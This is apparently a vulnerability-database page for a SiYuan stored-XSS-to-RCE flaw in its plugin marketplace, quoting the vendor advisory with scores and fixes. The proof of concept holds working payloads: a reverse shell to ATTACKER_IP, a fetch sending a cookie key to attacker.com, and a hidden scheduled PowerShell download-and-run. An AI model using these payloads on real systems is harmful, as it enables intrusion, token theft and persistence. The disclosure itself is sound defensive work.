CVE-2026-33067

criticalpriority · attend · 46EPSS 0.006 · 46 %ileexploit · PoCEUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
0.56% (46th) EPSS
CVSS 9 · critical
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

SiYuan is a personal knowledge management system. Versions 3.6.0 and below render package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. This issue has been fixed in version 3.6.1.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.0
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–critical · 2.1–9

v3.19criticalCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 2.3 · impact 6
v4.05.3mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:Nsecondary · ENISA EU
v4.05.3mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.02.1lowCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

exploits (1)

Public proof-of-concept and weaponised exploit code.

05

affected products (3)

Products and version ranges known to be affected.

06

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-mvpm-v6q4-m2pfSiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata2026-03-18ghsa · osvUS

    # Stored XSS to RCE via Unsanitized Bazaar Package Metadata ## Summary SiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. ## Affected Component - **Metadata rendering**: `app/src/config/bazaar.ts:275-277` - **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`) ## Affected Versions - SiYuan <= 3.5.9 ## Severity **Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) - CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS) ## Vulnerable Code In `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping: ```typescript // Package name injected directly — NO escaping ${item.preferredName}${item.preferredName !== item.name ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""} // Package description — title attribute uses escapeAttr(), but text content does NOT <div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}"> ${item.preferredDesc || ""} <!-- UNESCAPED HTML --> </div> ``` The inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated. The Electron renderer at `app/electron/main.js:422-426` is configured with: ```javascript webPreferences: { nodeIntegration: true, contextIsolation: false, // ... } ``` This means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`. ## Proof of Concept ### Step 1: Create a malicious plugin manifest Create a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`: ```json { "name": "helpful-productivity-plugin", "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">" }, "description": { "default": "Boost your productivity with smart templates" }, "version": "1.0.0", "author": "attacker", "url": "https://github.com/attacker/helpful-productivity-plugin", "minAppVersion": "2.0.0" } ``` ### Step 2: Submit to Bazaar Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository). ### Step 3: Zero-click RCE When **any** SiYuan desktop user navigates to **Settings > Bazaar > Plugins**, the package listing renders the malicious `displayName`. The `<img src=x>` tag fails to load, firing the `onerror` handler, which calls `require('child_process').exec('calc.exe')`. **No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM. ### Escalation: Reverse shell ```json { "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">" } } ``` ### Escalation: Data exfiltration (API token theft) ```json { "displayName": { "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">" } } ``` ### Escalation: Silent persistence (Windows) ```json { "displayName": { "default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">" } } ``` ## Attack Scenario 1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template. 2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process. 3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field. 4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata. 5. The injected `<img onerror>` (or `<svg onload>`, `<details ontoggle>`, etc.) fires automatically. 6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`). 7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc. **The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient. ## Impact - **Full remote code execution** on any SiYuan desktop user who browses the Bazaar - **Zero-click** — payload fires on page load, no interaction required - **Supply-chain attack** — targets the entire SiYuan user community via the official marketplace - Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files - Can install persistent backdoors, scheduled tasks, or ransomware - Affects all platforms: Windows, macOS, Linux ## Suggested Fix ### 1. Escape all package metadata in template rendering (`bazaar.ts`) ```typescript function escapeHtml(str: string): string { return str.replace(/&/g, '&amp;').replace(/</g, '&lt;') .replace(/>/g, '&gt;').replace(/"/g, '&quot;') .replace(/'/g, '&#039;'); } // Apply to ALL user-controlled metadata before rendering ${escapeHtml(item.preferredName)} <div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div> ``` ### 2. Server-side sanitization in the Bazaar index pipeline Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients: ```go func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } } ``` ### 3. Long-term: Harden Electron configuration ```javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, } ```

  • GO-2026-4747SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata in github.com/siyuan-note/siyuan/kernel2026-03-23vendor · osvUS

    SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata in github.com/siyuan-note/siyuan/kernel

07

also known as (5)

Other names and identifiers for this entity.

08

sources

Which sources assert this record, and when.

published 2026-03-20modified 2026-06-17
09

references (4)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan